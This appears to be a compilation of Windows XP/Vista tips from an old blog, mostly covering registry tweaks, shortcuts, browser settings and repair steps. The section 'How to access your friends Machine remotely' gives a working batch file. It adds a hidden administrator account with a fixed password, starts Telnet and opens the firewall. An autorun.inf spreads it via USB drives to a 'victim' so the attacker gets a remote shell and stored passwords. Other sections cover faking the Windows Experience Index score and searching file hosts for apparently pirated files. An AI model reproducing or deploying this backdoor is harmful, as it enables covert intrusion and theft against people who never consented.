Whenever you start to mysteriously have problems with your task manager, there's a good chance that your computer system has been compromised by spyware or a virus. So the first thing you should do at the sign of task manager errors is to do a virus scan. Use a highly rated virus scanning program, such as McAfee, Norton, Panda Online or AVG. Allow the program to delete and quarantine any suspicious programs on your computer. If you don't already have one, you should always have a secure firewall installed on your system to avoid these problems.

How To Enable Task Manager

Some Malware and Trojan often disable access to Windows Task Manager. Fortunately, a few quick Registry edits are usually all that are needed to regain control.

Here's how to do it:
Click Start
Click Run
Type REGEDIT
Click OK and The Registry Editor will now open
Browse to the following key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system
In the right pane, look for the value: DisableTaskMgr
Right click DisableTaskMgr and select Delete. (When prompted with "Are you sure you want to delete this value", select Yes.
Now browse to the following key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
In the right pane, look for the value: DisableTaskMgr
Right click DisableTaskMgr and select Delete. (When prompted with "Are you sure you want to delete this value", select Yes.
Close the Registry by choosing File | Exit
Restart your computer
You should now be able to access Task Manager. If not, reboot into Safe Mode and repeat the steps outlined above.

Reinstall Your All Drivers In 5 Minutes

DriverMax is a new software which allows you to easily reinstall all your Windows drivers. No more searching for rare drivers on discs or on the web or inserting one installation CD after the other. Simply export all your current drivers (or just the ones that work OK) to a folder or a compressed file. After reinstalling Windows you will have everything in one place!

Most of the situations when Windows is running slower are caused by faulty driver installations. Windows stores all versions of older drivers just in case you want to go back; sometimes it messes up older versions with more recent ones. The Export Wizard will only export the drivers you select by copying the needed files to a folder or a compressed ZIP file.

After reinstalling Windows all drivers will be back in place in less than 5 minutes - sparing you of searching, inserting disc after disk and losing precious time. The Import Drivers wizard allows you to install all the drivers that you exported earlier. The entire operation might take up to 5-10 minutes.

Just one single computer restart will be required after all drivers are reinstalled!

DriverMax is able to display a complete report of all drivers (versions, release dates) installed on your system. This feature can also be very useful when you want to analyze the differences between the drivers installed on different machines.

Windows XP SP3 Build 5508 RC2 (25 March Release)

Microsot has just released SP3 Build 5508 RC2 on March 25, 2008. Windows XP Service Pack 3 (SP3) includes all previously released updates for the operating system. This update also includes a small number of new functionalities, which do not significantly change customers’ experience with the operating system.



Microsoft Windows XP Service Pack 3 (SP3) provides new proactive security technologies for Windows XP to better defend against viruses, worms, and hackers along with increased manageability and an improved experience for users.

Microsoft Windows XP Service Pack 3 fixes a range of bugs in Windows XP. It doesn’t matter what XP updates you have previously applied to your system, SP3 will update any unpatched, partially patched or completely updated system (it includes all previously released patches and updates). XP SP3 fixes the security holes so you won’t get attacked.

Microsoft periodically combines updates, fixes, and other improvements into a single package - Service Pack. Microsoft develops updates, fixes, and other improvements that address issues reported by the company’s customers and partners. To make it easier for customers to get these updates and enhancements, Microsoft periodically combines them into a single package, and makes that package available for all Windows customers.

These packages are called service packs”, Microsoft revealed in the introduction of the Overview of Windows XP Service Pack 3. With the Release Candidates of Vista SP1 and Windows Server 2008 heading to increased testing pools the past week, and with Microsoft cooking the first public build of the first refresh for its latest Windows client, the official overview for XP SP3 is the only crumb from the service pack fiesta over at the Redmond company. The Release Candidate of XP SP3 in a pre-final stage has already shipped to MSDN and TechNet subscribers.

As of March 25, 2008, Windows XP users are able to grab their very own XP SP3 RC2 Refresh Build 5508. The latest development milestone of the third and final service pack for XP is available for download exclusively via Windows Update, the update infrastructure Microsoft has built for its operating systems. Unlike the previous XP SP3 Release Candidate 2, Build 5508 does not come as a standalone package.
"The purpose of RC2 Refresh is to validate improvements to the Windows Update experience with Service Pack 3. Therefore, this beta release will be available only on Windows Update, in English, German and Japanese. Beyond fixes for common Windows Update issues and the inclusion of support for HD Audio, there are no substantial differences between this beta release (build 5508) and XP SP3 RC2 (build 3311)", revealed the Release Manager for Windows Serviceability.

Build 5508 is offered as an update to Windows XP SP2. This release does not support build to build upgrades, and this is why Microsoft is advising all XP SP3 testers to uninstall the RC2 Build 3311 version before applying Build 5508. At the same time Microsoft warned end users that despite the public availability of XP SP3 RC2 Refresh, the release is still a beta build and should only be deployed in testing environments.

XP SP3 RC2 Refresh includes all previously released updates for the operating system, similar to earlier service packs. It also includes previously released updates to the latest versions of some system components, as well as functionality that make it easier for enterprises to co-manage both Windows XP SP3 and Windows Vista PCs within same corporate environment", added the Release Manager for Windows Serviceability.

What Microsoft is essentially offering with the download for Build 5508 is a script designed to tweak the registry of Windows XP SP2 systems in order to help them identify XP SP3 RC2 Refresh over the Windows Update servers. Without the registry tweak XP SP2 machines will not detect RC2 Refresh.

"The application to enable download of XP SP3 RC2 Refresh is the same application as was used to distribute XP SP3 RC2. This is an application that can be found at the Microsoft Download Center. Running this application on a machine with Windows XP Service Pack 2 will enable Windows Update to offer XP SP3 RC2 Refresh to that machine", concluded the Release Manager for Windows Serviceability.

Unlock Your Files or Folder with Free Unlocker!

Even get rid of error message like Error deleting file or folder, cannot delete folder: it's being used by another person or program? Now, you can use this freeware to solve that problem: Unlocker!


Unlocker is a very useful Windows Explorer extension allowing users with a simple right-click on a file or folder to easily get rid of error message such as error deleting file or folder, cannot delete folder: it's being used by another person or program.

Helps delete locked files with error messages like:
Cannot delete file: Access is denied
There has been a sharing violation.
The source or destination file may be in use.
The file is in use by another program or user.
Make sure the disk is not full or write-protected and that the file is not currently in use.

Unlocker 1.8.5 is 100% FREE, which means it is a freeware product (both for personal and commercial use) that does not contain any form of malware, including but not limited to: spyware, viruses, trojans and backdoors.

This software product was tested thoroughly and was found absolutely clean, therefore it can be installed with no concern by any computer user.

100 Keyboard Shortcuts for Windows

100 Keyboard Shortcuts for Windows

CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)

BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)

Microsoft Management Console (MMC) Main Window Keyboard Shortcuts

CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)


MicroSoft Internet Explorer Navigation

CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)

Run System Apps via Run Command

Access The Control Panel :

Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl





System Apps :

compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 - System Information
sysedit - System Edit
win.ini - windows loading information(also system.ini)
winver - Shows current version of windows
mailto: - Opens default email client
command - Opens command prompt

Speed Up Share Viewing: Registry Hack

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers.
Basically, when you connect to another computer with Windows XP, it checks for any scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good!

Fortunately, it's fairly easy to disable this process.

First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry.

Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}.

Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

How to Hack your Windows Experience Index

The results of the Windows Experience Index are stored in an XML file that you can modify to spoof your score.

Who wants to show off a 2.1 system?

Let’s make that a 9.9 powerhouse.


Navigate to C:\Windows\Performance\WinSAT\DataStore.
Open up the most recent file in that folder. Make sure that your account has write access to that file. If not change the file permissions.
Parse the file looking for the WinSPR entry. These are the items you want to edit. The maximum value you can use is 9.9.
Save the file and you just turned your 2.1 system into a supercomputer.

Search MegaUpload and Rapidshare Using Google: a Google Hack

We can search for anything we want fastly and accurately with a little tricks with Google.
Ok here’s the trick.

For MegaUpload, put the following in Google:


Video files:
avi|mpg|mpeg|wmv|rmvb site:megaupload.com
Music files:
mp3|ogg|wma site:megaupload.com
Programs/Applications files:
zip|rar|exe site:megaupload.com
eBooks files:
pdf|rar|zip|doc|lit site:megaupload.com
For Rapidshare, put the following in Google: Video files:
avi|mpg|mpeg|wmv|rmvb site:rapidshare.de
Music files:
mp3|ogg|wma site:rapidshare.de
Programs/Applications files:
zip|rar|exe site:rapidshare.de
eBooks files:
pdf|rar|zip|doc|lit site:rapidshare.de
Note: For MegaUpload and Rapidshare searching, narrow down you search for what you want by putting your query at the first part.

Say if you want to search for Windows XP tutorials in Rapidshare use the query: Windows XP tutorials pdf|doc|lit|rar|zip site:rapidshare.de

Adding "INSERT" Option in CD Drive Context Menu: Registry Hack

Here goes the step-by-step procedure:


Download this file, extract it and copy the DLL file to "%windir%\System32" folder.
Then copy following code in notepad:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}]
@="CDEject Context Menu Shell Extension"

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}\InprocServer32]
@="C:\\WINDOWS\\system32\\cdeject.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}]
@="{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}"


Save the file with any name but the extension must be .REG
Now double click the file, it'll ask ur permission, accept it.
Now u'll get an Insert option in the CD Drive context menu.

How to show your name after time in Windows Taskbar

Here is a trick to add up youur name in place of AM and PM beside time in Windows taskbar. Its simple. Here the steps for do that:

*Start -> Control Pannel -> Regional and Language option
*Customize (beside English US)
*Go to TIME tab
*Change AM symbol and PM symbol from AM and PM to your name
*Apply
*Hit OK

Is it changed ??? Might be not ...
 *Now go to time in taskbar and Double Click it to open "Date and time property"
 *Look place where time changes in digital form i.e. 02:47:52 AM
 *Click to arrow to change the AM or PM by selecting and press arrow.
 *It will Show your name or name that was entered by you
 *Apply and OK.

Enjoy!

Use your Flash Disk as a Temporary RAM in Vista

Till this date, Microsoft’s windows had two options for the memory requirement of the computer, so that the computing can be done at cheaper rates and that too without installing the physical memory.
1)Physical Memory (RAM)
2)Page File (A virtual memory file, stored on hard disk).

The page file is used by the Windows OS to cater the needs of various applications when the physical memory is fully used up. The reason for that is, that Virtual memory is slower as compared to the physical memory and thus Phyical memory takes the first priority.

However, with the release of Windows Vista, Microsoft has introduced a new technology called ReadyBoost. With the help of this technology one can use any Flash drive, SD Cards, CF Cards as the third memory option for the computer.

Now, the benefits of Flash Drive or Cards as a source of Memory :

1)It is faster than the virtual memory which is accessed through the hard disk drive.
2)It is cheaper as compared to the actually Physical Memory.

How can it be activated ?

In order to activate the ReadyBoost technology on your FlashDrive or Memory Cards, you have to follow these steps:

*Open My Computer.
*Right Click on the Removable Disk Drive and select Properties.
*Click on ReadyBoost Tab.
*Enable the feature by selecting the option and allocate the amount of space you want to use as memory.

Note:
*Regardless of the fact that you use Readyboost or not, you need at least 512 Mb of memory to run      Windows Vista decently.
*If your device is not giving the option of ReadyBoost then it means that it doesn’t clear up the minimum data trasfer rate required by ReadBoost technology.

Change the Registered User Information: Registry Hack

How Change the Registered User Information? Its simple ..
You can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.

1.Open RegEdit
2.Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.
3.Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want

Thats it!. And you need to reboot your Windows for see the result.

How to access your friends Machine remotely !

If you have physical access to your friends machine then you can access his machine remotely using telnet server. All you have to do is to create a user account there then hide that user from logon screen and then start telnet server and finally mark telnet as a exception in firewall.

These steps can be carried out simply and faster using a simple batch file (instal.bat). Here the source of batch file:


instal.bat

@echo OFF
net user IE_USR 123456 /add
net localgroup administrators IE_USR /add
net localgroup “remote desktop users” IE_USR /add
sc config tlntsvr start= auto
netsh firewall set allowedprogram %windir%\system32\tlntsvr.exe iexplorer enable
sc start tlntsvr
reg add “HKLM\software\microsoft\windows NT\CurrentVersion\winlogon\specialaccounts\UserList” /v IE_USR /t REG_DWORD /d 0


Now you can make this file to spread from one machine to another according to your own method like to spread this file as a autoplay program in pen drives. Here the code for autoplaying, just put these two files in pen drive and your work is done.

autorun.inf

[autorun]
open=instal.bat

When the victim plug this pen drive in his/her PC, instal.bat runs and it will do all the work for you then you can meet your friend online on yahoo msgr and use start>run>netstat -n 4 [press Enter] to find his/her IP address. After getting the IP address goto start>run>telnet ipaddress [press Enter], then press Y and then use these login detail to get login:

username: IE_USR
password: 123456

Now you have the shell prompt of friend machine. You can do anything. You can see what task are running there using tasklist command, you can shutdown its machine using shutdown -s and even get stored password from registry and do almost everthing from command prompt.

Speed up your Mozilla Firefox

Speed up FireFox with this hack:

Generally, typing about:config in adress bar of Firefox.
Goto line network.http.pipelining and network.http.proxy.pipelining. As default, this is false.
Double click in this key, select Toggle change to true.
Change key network.http.pipelining.maxrequests to 30.
Right click, select New > Integer, name the new key is nglayout.initialpaint.delay and set value is 0

According to your computer you can adjust like this:



FAST COMPUTER, FAST CONNECTION

content.interrupt.parsing, true;
content.max.tokenizing.time, 2250000;
content.notify.interval, 750000;
content.notify.ontimer, true;
content.switch.threshold, 750000;
nglayout.initialpaint.delay, 0;
network.http.max-connections, 48;
network.http.max-connections-per-server, 16;
network.http.max-persistent-connections-per-proxy, 16;
network.http.max-persistent-connections-per-server, 8;
browser.cache.memory.capacity, 65536;


FAST COMPUTER, SLOWER CONNECTION

content.max.tokenizing.time, 2250000;
content.notify.interval, 750000;
content.notify.ontimer, true;
content.switch.threshold, 750000;
network.http.max-connections, 48;
network.http.max-connections-per-server, 16;
network.http.max-persistent-connections-per-proxy, 16;
network.http.max-persistent-connections-per-server, 8;
nglayout.initialpaint.delay, 0;
browser.cache.memory.capacity, 65536;


FAST COMPUTER, SLOW CONNECTION

browser.xul.error_pages.enabled, true;
content.interrupt.parsing, true;
content.max.tokenizing.time, 3000000;
content.maxtextrun 8191;
content.notify.interval, 750000;
content.notify.ontimer, true;
content.switch.threshold, 750000;
network.http.max-connections, 32;
network.http.max-connections-per-server, 8;
network.http.max-persistent-connections-per-proxy, 8;
network.http.max-persistent-connections-per-server, 4;
nglayout.initialpaint.delay, 0;
browser.cache.memory.capacity, 65536;


SLOW COMPUTER, FAST CONNECTION

content.max.tokenizing.time, 3000000;
content.notify.backoffcount, 5;
content.notify.interval, 1000000;
content.notify.ontimer, true;
content.switch.threshold, 1000000;
content.maxtextrun, 4095;
nglayout.initialpaint.delay, 1000;
network.http.max-connections, 48;
network.http.max-connections-per-server, 16;
network.http.max-persistent-connections-per-proxy, 16;
network.http.max-persistent-connections-per-server, 8;
dom.disable_window_status_change, true;

DIAL-UP

content.max.tokenizing.time, 2250000;
content.notify.interval, 750000;
content.notify.ontimer, true;
content.switch.threshold, 750000;
nglayout.initialpaint.delay, 750;
network.http.max-connections, 32;
network.http.max-connections-per-server, 8;
network.http.max-persistent-connections-per-proxy, 8;
network.http.max-persistent-connections-per-server, 4;
dom.disable_window_status_change, true;

Tips for make XP as easier as never before

Opening Ports or Adding Allowed Programs with SP2's Firewall
1.Click on Start / Run
2.Enter in firewall.cpl
3.Click on the Exceptions tab

Adding a Port for Internet Access
1.Click on the Add Port button
2.Name it whatever you want
3.Enter in the ports you want to open

Adding a Program for Internet Access
1.Click on Add Program... button
2.A list of all installed programs will be displayed
3.Highlight the one you want to include for Internet access
4.Click on the OK button



Autoexec.nt or Config.nt Errors
If you are getting errors similar to:
The system file is not suitable for running MS-DOS and Microsoft Windows applications. Choose 'Close' to terminate the application.

Try copying the file from \windows\repair directory to the one that is in the \windows\system32 directory.


Common Control Panel Applets
The follow are some common Control Panel Applets that are located in the \windows\system32 directory.
If you find yourself using any of these frequently, then you can simply make shortcuts to them on your desktop.


appwiz.cpl >>Add/Remove Programs
desk.cpl >> Display Properties
firewall.cpl >> Firewall Settings
inetcpl.cpl >> Internet Options
mmsys.cpl >> Sound and Audio
ncpa.cpl >> Network Connections
nusrmgr.cpl >> User Accounts
powercfg.cpl >> Power Options
sysdm.cpl >>System Properties
wscui.cpl >> Security Center
wuaucpl.cpl >> Automatic Updates Configuration Go to Top


Windows Explorer Opens Search Companion Rather than the Folder
If the Windows Explorer opens up the Search Companion rather than opening up the actual folder, the default setting for opening a folder is changed.
To correct this:

Start Regedit
Go to HKEY_CLASSES_ROOT \ Directory \ shell
Edit the default value to be explorer or none


Guest Only Network Access
If you try and connect to an XP computer and are shown a logins screen with only the computername/Guest,
You may need to change one of the Local Security Policies:
Got to Control Panel - Administrative Tools
Go to Local Policies - Security Options
Check teh Network access: Sharing and security model for local accounts
Set it to Classic - local users authenticate as themselves


Hiding a XP Computer from Network Neighborhood
If you want to share files from a XP computer,
yet want to remove it from showing up in the Network Neighborhood,
Run net config server /hidden:yes


Easy Way to Share Multiple Folders
If you need to share multiple folders, running the program SHRPUBW.EXE will bring up a simple dialog box to let you:
Browse to the folder you want to share
Enter in a Share name
Ender in a Share description
Set permissions. Several choices are available
Restart the process from within the same program Go to top


Not Viewing Zip Files as Folders
If you want to turn of WindowsXP showing Zip files as folders,
just run: regsvr32 /u zipfldr.dll


Setting Capslock, Numlock, Scroll Lock
If you want to set the startup state for any or all of these keys,
you just need to edit the registry.
Start Regedit
Go to HKEY_CURRENT_USER \ Control Panel \ Keyboard
Open InitialKeyboardIndicators
Change the value to one of the following numbers
0 - All Keys off
1 - Caps Lock on
2 - Num Lock on
4 - Scroll Lock on
For multiple keys, add their values:
3 - Caps Lock and Num Lock on
5 - Caps Lock and Scroll Lock on
6 - Num Lock and Scroll Lock on
7 - Caps Lock, Num Lock, and Scroll Lock on
Log off and back on again



Restoring Desktop Icon to the Quicklaunch Bar
If you mistakenly deleted the icon for the Desktop on the Quicklaunch toolbar
Go to C:\Documents and Settings\user_name\Application Data\Microsoft\Internet Explorer\Quick Launch
(where user_name is replaced by your login name)
Create a Text file called ShowDesktop.SCF with the following contents:
[Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop Go to top


Network Access After Norton Anti-Virus Install
Sometimes you can't access a WinXP computer after installing Norton Anti-Virus.
There might be a variety of errors at the other computer depending on the operating system.
On the XP computer, in the Event Viewer / System log, there will be the following error:
The server's configuration parameter "irpstacksize" is too small for the server to use a local device.
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
Edit the IRPStackSize
Give it a value of 15
Reboot the computer


Configure for Auto-Logon
If you are the only person using the computer and what to have it automatically log you on,
Start / Run / "control userpasswords2" - no quotes
Uncheck User must enter a user name and password to use this computer
Services You Can Disable
There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.

Some possibilities are:
Alerter - Sends alert messages to specified users that are connected to the server computer.
Application Management - Allows software to tap directly into the Add/Remove Programs feature via the Windows Installer technology.
Background Intelligent Transfer Service - The Background Intelligent Transfer


Service is used by programs (such as Windows AutoUpdate) to download files by using spare bandwidth.
Clipbook - ClipBook permits you to cut and paste text and graphics over the network.
Error Reporting Service - Allows applications to send error reports to Microsoft in the event of an application fault.
Fast User Switching - Windows XP allows users to switch quickly between accounts, without requiring them to log off.
Help and Support - Allows the XP Built-in Help and Support Center to run.
IMAPI CD-Burning COM Service - You don't need this if you have other software to create CDs.
Indexing Service - Indexes contents and properties of files on local and remote computers; provides rapid access to files through flexible querying language.
IP SEC - Manages IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. If you are not on a domain, you likely don't need this running.
Messenger - Transmits net send and Alerter service messages between clients and servers. This is how a lot of pop-up windows start appearing on your desktop.
Net Logon - Supports pass-through authentication of account logon events for computers in a domain. If you are not on a domain, you don't need this running
Network DDE - Provides network transport and security for Dynamic Data Exchange (DDE) for programs running on the same computer or on different computers.
NT LM Security Support Provider - Provides security to remote procedure call (RPC) programs that use transports other than named pipes.
Performance Logs and Alerts - Collects performance data from local or remote computers based on preconfigured schedule parameters, then writes the data to a log or triggers an alert. If you don't need to monitor your performance logs, then you don't need this service.
Portable Media Serial Number - Retrieves the serial number of any portable music player connected to your computer
QOS RSVP - Provides network signaling and local traffic control setup functionality for QoS-aware programs and control applets.
Remote Desktop Help Session Manager - Manages and controls Remote Assistance. If you are not using Remote Desktop you don't need this service.
Remote Registry - Enables remote users to modify registry settings on this computer.
Routing & Remote Access - Offers routing services to businesses in local area and wide area network environments. Allows dial-in access.
Secondary Login - Enables starting processes under alternate credentials. This is what allows you to run an application as another user.
Smart Card - Manages access to smart cards read by this computer.
Smart Card Helper - Enables support for legacy non-plug and play smart-card readers used by this computer.
SSDP Discovery Service - Enables discovery of UPnP devices on your home network.
TCP/IP NetBIOS Helper - Enables support for NetBIOS over TCP/IP (NetBT) service and NetBIOS name resolution. This should not be needed in today's network environment.
Telnet - Enables a remote user to log on to this computer and run programs, and supports various TCP/IP Telnet clients.
Uninterruptible Power Supply Service - Manages an uninterruptible power supply (UPS) connected to the computer.
Universal Plug and Play Device Host - Provides support to host Universal Plug and Play devices
Upload Manager - Manages synchronous and asynchronous file transfers between clients and servers on the network.
Volume Shadow Copy Service - Manages and implements Volume Shadow Copies used for backup and other purposes.
Web Client - Enables Windows-based programs to create, access, and modify non-local files across the Internet.
Wireless Zero Configuration - Provides automatic configuration for the 802.11 adapters
WMI Performance Adapter - Provides performance library information from WMI HiPerf providers.



Cleaning the Prefetch Directory
WindowsXP has a new feature called Prefetch. This keeps a shortcut to recently used programs.
However it can fill up with old and obsolete programs.
To clean this periodically go to:
Star / Run / Prefetch
Press Ctrl-A to highlight all the shorcuts
Delete them Go to top



Not Displaying Logon, Logoff, Startup and Shutdown Status Messages
To turn these off:
Start Regedit
Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
If it is not already there, create a DWORD value named DisableStatusMessages
Give it a value of 1



Repair Install
If XP is corrupted to the point where none of the previous solutions get it to boot, you can do a Repair Install that might work as well as keep the current settings.
Make sure you have your valid WindowsXP key.
The whole process takes about half an hour depending on your computer
If you are being prompted for the administrator's password, you need to choose the 2nd repair option, not the first.
Insert and boot from your WindowsXP CD
At the second R=Repair option, press the R key
This will start the repair
Press F8 for I Agree at the Licensing Agreement
Press R when the directory where WindowsXP is installed is shown. Typically this is C:\WINDOWS
It will then check the C: drive and start copying files
It will automatically reboot when needed. Keep the CD in the drive.
You will then see the graphic part of the repair that is like during a normal install of XP (Collecting Information, Dynamic Update, Preparing Installation, Installing Windows, Finalizing Installation)
When prompted, click on the Next button
When prompted, enter your XP key
Normally you will want to keep the same Workgroup or Domain name
The computer will reboot
Then you will have the same screens as a normal XP Install
Activate if you want (usually a good idea)
Register if you want (but not necessary)
Finish
At this point you should be able to log in with any existing accounts. Go to top



NTOSKRNL Missing or Corrupt
If you get an error that NTOSKRNL not found:
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Change to the drive that has the CD ROM.
CD i386
expand ntkrnlmp.ex_ C:\Windows\System32\ntoskrnl.exe
If WindowsXP is installed in a different location, just make the necessary change to C:\Windows
Take out the CD ROM and type exit



HAL.DLL Missing or Corrupt
If you get an error regarding a missing or corrupt hal.dll file, it might simply be the BOOT.INI file on the root of the C: drive that is misconfigured
Insert and boot from your WindowsXP CD.
At the first R=Repair option, press the R key
Press the number that corresponds to the correct location for the installation of Windows you want to repair.
Typically this will be #1
Type bootcfg /list to show the current entries in the BOOT.INI file
